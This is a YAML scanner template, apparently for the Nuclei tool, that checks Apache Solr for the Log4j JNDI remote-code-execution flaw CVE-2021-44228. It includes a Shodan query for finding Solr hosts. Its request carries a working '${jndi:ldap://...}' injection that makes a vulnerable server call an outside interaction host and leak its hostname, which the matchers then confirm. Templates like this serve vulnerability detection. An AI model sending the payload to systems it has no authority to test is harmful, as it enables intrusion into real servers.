50 lines
1.7 KiB
YAML
50 lines
1.7 KiB
YAML
id: apache-solr-log4j-rce
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info:
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name: Apache Solr 7+ - Remote Code Execution (Apache Log4j)
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author: Evan Rubinstein,nvn1729
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severity: critical
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description: |
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Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. This vulnerability affects Solr 7+.
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reference:
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- https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228
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- https://twitter.com/sirifu4k1/status/1470011568834424837
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- https://github.com/apache/solr/pull/454
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-917
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metadata:
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shodan-query: http.html:"Apache Solr"
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verified: "true"
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tags: cve,cve2021,solr,oast,log4j,rce,apache,jndi,kev
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/solr/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D.{{interactsh-url}}/a%7D"
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
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extractors:
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
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# Enhanced by mp on 2022/05/27
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